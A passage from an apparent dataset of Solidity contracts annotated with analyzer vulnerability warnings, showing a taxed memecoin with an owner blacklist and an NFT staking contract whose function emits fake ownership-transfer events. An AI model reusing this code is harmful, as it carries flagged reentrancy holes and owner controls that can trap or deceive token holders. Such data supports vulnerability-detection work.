overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract STARDO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9f901ea): STARDO._taxWallet should be immutable \n\t// Recommendation for 9f901ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d6a44a): STARDO._initialBuyTax should be constant \n\t// Recommendation for 9d6a44a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 16b25f7): STARDO._initialSellTax should be constant \n\t// Recommendation for 16b25f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b61ba8): STARDO._reduceBuyTaxAt should be constant \n\t// Recommendation for 7b61ba8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6540db3): STARDO._reduceSellTaxAt should be constant \n\t// Recommendation for 6540db3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c0813e): STARDO._preventSwapBefore should be constant \n\t// Recommendation for 1c0813e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Smol Retardo\"; //\n\n string private constant _symbol = unicode\"$STARDO\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 679eb60): STARDO._taxSwapThreshold should be constant \n\t// Recommendation for 679eb60: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92bbcee): STARDO._maxTaxSwap should be constant \n\t// Recommendation for 92bbcee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xdF938923356D388a1B84E449d69446B6Fd084Cba);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab7fee3): STARDO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab7fee3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5e88723): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5e88723: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2fc9aef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2fc9aef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5e88723\n\t\t// reentrancy-benign | ID: 2fc9aef\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5e88723\n\t\t// reentrancy-benign | ID: 2fc9aef\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d4ba823): STARDO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d4ba823: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2fc9aef\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5e88723\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bcf1302): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bcf1302: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5d90d25): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5d90d25: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bcf1302\n\t\t\t\t// reentrancy-eth | ID: 5d90d25\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bcf1302\n\t\t\t\t\t// reentrancy-eth | ID: 5d90d25\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5d90d25\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5d90d25\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5d90d25\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bcf1302\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5d90d25\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5d90d25\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bcf1302\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5e88723\n\t\t// reentrancy-events | ID: bcf1302\n\t\t// reentrancy-benign | ID: 2fc9aef\n\t\t// reentrancy-eth | ID: 5d90d25\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5e88723\n\t\t// reentrancy-events | ID: bcf1302\n\t\t// reentrancy-eth | ID: 5d90d25\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9c5a8ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9c5a8ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ad0b27f): STARDO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ad0b27f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fc3008c): STARDO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fc3008c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 83e4f81): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 83e4f81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9c5a8ea\n\t\t// reentrancy-eth | ID: 83e4f81\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9c5a8ea\n\t\t// unused-return | ID: fc3008c\n\t\t// reentrancy-eth | ID: 83e4f81\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9c5a8ea\n\t\t// unused-return | ID: ad0b27f\n\t\t// reentrancy-eth | ID: 83e4f81\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9c5a8ea\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 83e4f81\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10122.sol",
"size_bytes": 19888,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IGASEVO {\n function transferFrom(address from_, address to_, uint256 id_) external;\n\n function balanceOf(address owner) external view returns (uint256);\n\n function ownerOf(uint256 id_) external view returns (address);\n\n function mintAsController(address to_, uint256 id_) external;\n}\n\nabstract contract Ownable {\n address public owner;\n\n event OwnershipTransferred(\n address indexed _previousOwner,\n address indexed _newOwner\n );\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"Not Owner!\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6578c0f): Ownable.transferOwnership(address).new_ lacks a zerocheck on \t owner = new_\n\t// Recommendation for 6578c0f: Check that the address is not zero.\n function transferOwnership(address new_) external onlyOwner {\n address oldOwner = owner;\n\n\t\t// missing-zero-check | ID: 6578c0f\n owner = new_;\n\n emit OwnershipTransferred(oldOwner, new_);\n }\n\n function mockTransferOwnership(\n address old_,\n address new_\n ) external onlyOwner {\n emit OwnershipTransferred(old_, new_);\n }\n}\n\nabstract contract ERC721G {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n string public name;\n\n string public symbol;\n\n uint256 public tokenIndex;\n\n uint256 public immutable startTokenId;\n\n uint256 public immutable maxBatchSize;\n\n function stakingAddress() public view returns (address) {\n return address(this);\n }\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 startId_,\n uint256 maxBatchSize_\n ) {\n name = name_;\n\n symbol = symbol_;\n\n tokenIndex = startId_;\n\n startTokenId = startId_;\n\n maxBatchSize = maxBatchSize_;\n }\n\n struct OwnerStruct {\n address owner;\n uint32 lastTransfer;\n uint32 stakeTimestamp;\n uint32 totalTimeStaked;\n }\n\n struct BalanceStruct {\n uint32 balance;\n uint32 mintedAmount;\n uint32 lastUnboxTimestamp;\n }\n\n mapping(uint256 => OwnerStruct) public _tokenData;\n\n mapping(address => BalanceStruct) public _balanceData;\n\n mapping(uint256 => OwnerStruct) public mintIndex;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n function _getBlockTimestampCompressed()\n public\n view\n virtual\n returns (uint32)\n {\n return uint32(block.timestamp / 10);\n }\n\n function _compressTimestamp(\n uint256 timestamp_\n ) public view virtual returns (uint32) {\n return uint32(timestamp_ / 10);\n }\n\n function _expandTimestamp(\n uint32 timestamp_\n ) public view virtual returns (uint256) {\n return uint256(timestamp_) * 10;\n }\n\n function getLastTransfer(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).lastTransfer);\n }\n\n function getStakeTimestamp(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).stakeTimestamp);\n }\n\n function getTotalTimeStaked(\n uint256 tokenId_\n ) public view virtual returns (uint256) {\n return _expandTimestamp(_getTokenDataOf(tokenId_).totalTimeStaked);\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return tokenIndex - startTokenId;\n }\n\n function balanceOf(address address_) public view virtual returns (uint256) {\n return _balanceData[address_].balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1146ac2): ERC721G._getTokenDataOf(uint256) uses timestamp for comparisons Dangerous comparisons _tokenData[tokenId_].owner != address(0) || tokenId_ >= tokenIndex mintIndex[_lowerRange].owner == address(0)\n\t// Recommendation for 1146ac2: Avoid relying on 'block.timestamp'.\n function _getTokenDataOf(\n uint256 tokenId_\n ) public view virtual returns (OwnerStruct memory) {\n require(tokenId_ >= startTokenId, \"TokenId below starting Id!\");\n\n if (\n\t\t\t// timestamp | ID: 1146ac2\n _tokenData[tokenId_].owner != address(0) || tokenId_ >= tokenIndex\n ) {\n return _tokenData[tokenId_];\n } else {\n unchecked {\n uint256 _lowerRange = tokenId_;\n\n\t\t\t\t// timestamp | ID: 1146ac2\n while (mintIndex[_lowerRange].owner == address(0)) {\n _lowerRange--;\n }\n\n return mintIndex[_lowerRange];\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 40fbfec): ERC721G.ownerOf(uint256) uses timestamp for comparisons Dangerous comparisons _OwnerStruct.stakeTimestamp == 0\n\t// Recommendation for 40fbfec: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 65a1bbd): ERC721G.ownerOf(uint256) uses a dangerous strict equality _OwnerStruct.stakeTimestamp == 0\n\t// Recommendation for 65a1bbd: Don't use strict equality to determine if an account has enough Ether or tokens.\n function ownerOf(uint256 tokenId_) public view virtual returns (address) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n\t\t// timestamp | ID: 40fbfec\n\t\t// incorrect-equality | ID: 65a1bbd\n return\n _OwnerStruct.stakeTimestamp == 0\n ? _OwnerStruct.owner\n : stakingAddress();\n }\n\n function _trueOwnerOf(\n uint256 tokenId_\n ) public view virtual returns (address) {\n return _getTokenDataOf(tokenId_).owner;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b471b06): ERC721G._initializeTokenIf(uint256,ERC721G.OwnerStruct) uses timestamp for comparisons Dangerous comparisons _tokenData[tokenId_].owner == address(0)\n\t// Recommendation for b471b06: Avoid relying on 'block.timestamp'.\n function _initializeTokenIf(\n uint256 tokenId_,\n OwnerStruct memory _OwnerStruct\n ) internal virtual {\n\t\t// timestamp | ID: b471b06\n if (_tokenData[tokenId_].owner == address(0)) {\n _tokenData[tokenId_] = _OwnerStruct;\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e9cc561): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for e9cc561: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 11af100): ERC721G._setStakeTimestamp(uint256,uint256) uses a dangerous strict equality require(bool,string)(_stakeTimestamp == 0,ERC721G _setStakeTimestamp() already staked)\n\t// Recommendation for 11af100: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _setStakeTimestamp(\n uint256 tokenId_,\n uint256 timestamp_\n ) internal virtual returns (address) {\n OwnerStruct memory _OwnerStruct = _getTokenDataOf(tokenId_);\n\n address _owner = _OwnerStruct.owner;\n\n uint32 _stakeTimestamp = _OwnerStruct.stakeTimestamp;\n\n _initializeTokenIf(tokenId_, _OwnerStruct);\n\n delete getApproved[tokenId_];\n\n\t\t// timestamp | ID: e9cc561\n if (timestamp_ > 0) {\n\t\t\t// timestamp | ID: e9cc561\n\t\t\t// incorrect-equality | ID: 11af100\n require(\n _stakeTimestamp == 0,\n \"ERC721G: _setStakeTimestamp() already staked\"\n );\n\n unchecked {\n _balanceData[_owner].balance--;\n\n _balanceData[stakingAddress()].balance++;\n }\n\n emit Transfer(_owner, stakingAddress(), tokenId_);\n } else {\n\t\t\t// timestamp | ID: e9cc561\n require(\n _stakeTimestamp != 0,\n \"ERC721G: _setStakeTimestamp() already unstaked\"\n );\n\n unchecked {\n _balanceData[_owner].balance++;\n\n _balanceData[stakingAddress()].balance--;\n }\n\n uint32 _timeStaked = _getBlockTimestampCompressed() -\n _stakeTimestamp;\n\n _tokenData[tokenId_].totalTimeStaked += _timeStaked;\n\n emit Transfer(stakingAddress(), _owner, tokenId_);\n }\n\n _tokenData[tokenId_].stakeTimestamp = _compressTimestamp(timestamp_);\n\n return _owner;\n }\n\n function _stake(uint256 tokenId_) internal virtual returns (address) {\n return _setStakeTimestamp(tokenId_, block.timestamp);\n }\n\n function _unstake(uint256 tokenId_) internal virtual returns (address) {\n return _setStakeTimestamp(tokenId_, 0);\n }\n\n function _mintAndStakeInternal(\n address to_,\n uint256 amount_\n ) internal virtual {\n require(to_ != address(0), \"ERC721G: _mintAndStakeInternal to 0x0\");\n\n require(\n amount_ <= maxBatchSize,\n \"ERC721G: _mintAndStakeInternal over maxBatchSize\"\n );\n\n uint256 _startId = tokenIndex;\n\n uint256 _endId = _startId + amount_;\n\n uint32 _currentTime = _getBlockTimestampCompressed();\n\n mintIndex[_startId] = OwnerStruct(to_, _currentTime, _currentTime, 0);\n\n unchecked {\n _balanceData[stakingAddress()].balance += uint32(amount_);\n\n _balanceData[to_].mintedAmount += uint32(amount_);\n\n do {\n emit Transfer(address(0), to_, _startId);\n\n emit Transfer(to_, stakingAddress(), _startId);\n } while (++_startId < _endId);\n }\n\n tokenIndex = _endId;\n }\n\n function _mintAndStake(address to_, uint256 amount_) internal virtual {\n uint256 _amountToMint = amount_;\n\n while (_amountToMint > maxBatchSize) {\n _amountToMint -= maxBatchSize;\n\n _mintAndStakeInternal(to_, maxBatchSize);\n }\n\n _mintAndStakeInternal(to_, _amountToMint);\n }\n\n function _mintInternal(address to_, uint256 amount_) internal virtual {\n require(to_ != address(0), \"ERC721G: _mintInternal to 0x0\");\n\n require(\n amount_ <= maxBatchSize,\n \"ERC721G: _mintInternal over maxBatchSize\"\n );\n\n uint256 _startId = tokenIndex;\n\n uint256 _endId = _startId + amount_;\n\n mintIndex[_startId].owner = to_;\n\n mintIndex[_startId].lastTransfer = _getBlockTimestampCompressed();\n\n unchecked {\n _balanceData[to_].balance += uint32(amount_);\n\n _balanceData[to_].mintedAmount += uint32(amount_);\n\n do {\n emit Transfer(address(0), to_, _startId);\n } while (++_startId < _endId);\n }\n\n tokenIndex = _endId;\n }\n\n function _mint(address to_, uint256 amount_) internal virtual {\n uint256 _amountToMint = amount_;\n\n while (_amountToMint > maxBatchSize) {\n _amountToMint -= maxBatchSize;\n\n _mintInternal(to_, maxBatchSize);\n }\n\n _mintInternal(to_, _amountToMint);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: daaa115): ERC721G._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(from_ == ownerOf(tokenId_),ERC721G _transfer != ownerOf)\n\t// Recommendation for daaa115: Avoid relying on 'block.timestamp'.\n function _transfer(\n address from_,\n address to_,\n uint256 tokenId_\n ) internal virtual {\n\t\t// timestamp | ID: daaa115\n require(from_ == ownerOf(tokenId_), \"ERC721G: _transfer != ownerOf\");\n\n require(to_ != address(0), \"ERC721G: _transfer to 0x0\");\n\n delete getApproved[tokenId_];\n\n _tokenData[tokenId_].owner = to_;\n\n _tokenData[tokenId_].lastTransfer = _getBlockTimestampCompressed();\n\n unchecked {\n _balanceData[from_].balance--;\n\n _balanceData[to_].balance++;\n }\n\n emit Transfer(from_, to_, tokenId_);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ba7e150): ERC721G.stake(uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(msg.sender == _owner,You are not the owner!)\n\t// Recommendation for ba7e150: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 3d694de): ERC721G.stake(uint256[]).i is a local variable never initialized\n\t// Recommendation for 3d694de: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function stake(uint256[] calldata tokenIds_) public virtual {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n while (i < l) {\n address _owner = _stake(tokenIds_[i]);\n\n\t\t\t// timestamp | ID: ba7e150\n require(msg.sender == _owner, \"You are not the owner!\");\n\n unchecked {\n ++i;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7313a5f): ERC721G.unstake(uint256[]) uses timestamp for comparisons Dangerous comparisons require(bool,string)(msg.sender == _owner,You are not the owner!)\n\t// Recommendation for 7313a5f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a3dd8c5): ERC721G.unstake(uint256[]).i is a local variable never initialized\n\t// Recommendation for a3dd8c5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function unstake(uint256[] calldata tokenIds_) public virtual {\n uint256 i;\n\n uint256 l = tokenIds_.length;\n\n while (i < l) {\n address _owner = _unstake(tokenIds_[i]);\n\n\t\t\t// timestamp | ID: 7313a5f\n require(msg.sender == _owner, \"You are not the owner!\");\n\n unchecked {\n ++i;\n }\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8120c1f): ERC721G.balanceOfStaked(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) != address_ && _trueOwnerOf(i) == address_\n\t// Recommendation for 8120c1f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c9a78d7): ERC721G.balanceOfStaked(address)._balance is a local variable never initialized\n\t// Recommendation for c9a78d7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function balanceOfStaked(\n address address_\n ) public view virtual returns (uint256) {\n uint256 _balance;\n\n uint256 i = startTokenId;\n\n uint256 max = tokenIndex;\n\n while (i < max) {\n\t\t\t// timestamp | ID: 8120c1f\n if (ownerOf(i) != address_ && _trueOwnerOf(i) == address_) {\n _balance++;\n }\n\n unchecked {\n ++i;\n }\n }\n\n return _balance;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a57d4b8): ERC721G.walletOfOwnerStaked(address) uses timestamp for comparisons Dangerous comparisons ownerOf(i) != address_ && _trueOwnerOf(i) == address_\n\t// Recommendation for a57d4b8: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 9eb3de8): ERC721G.walletOfOwnerStaked(address)._currentIndex is a local variable never initialized\n\t// Recommendation for 9eb3de8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function walletOfOwnerStaked(\n address address_\n ) public view virtual returns 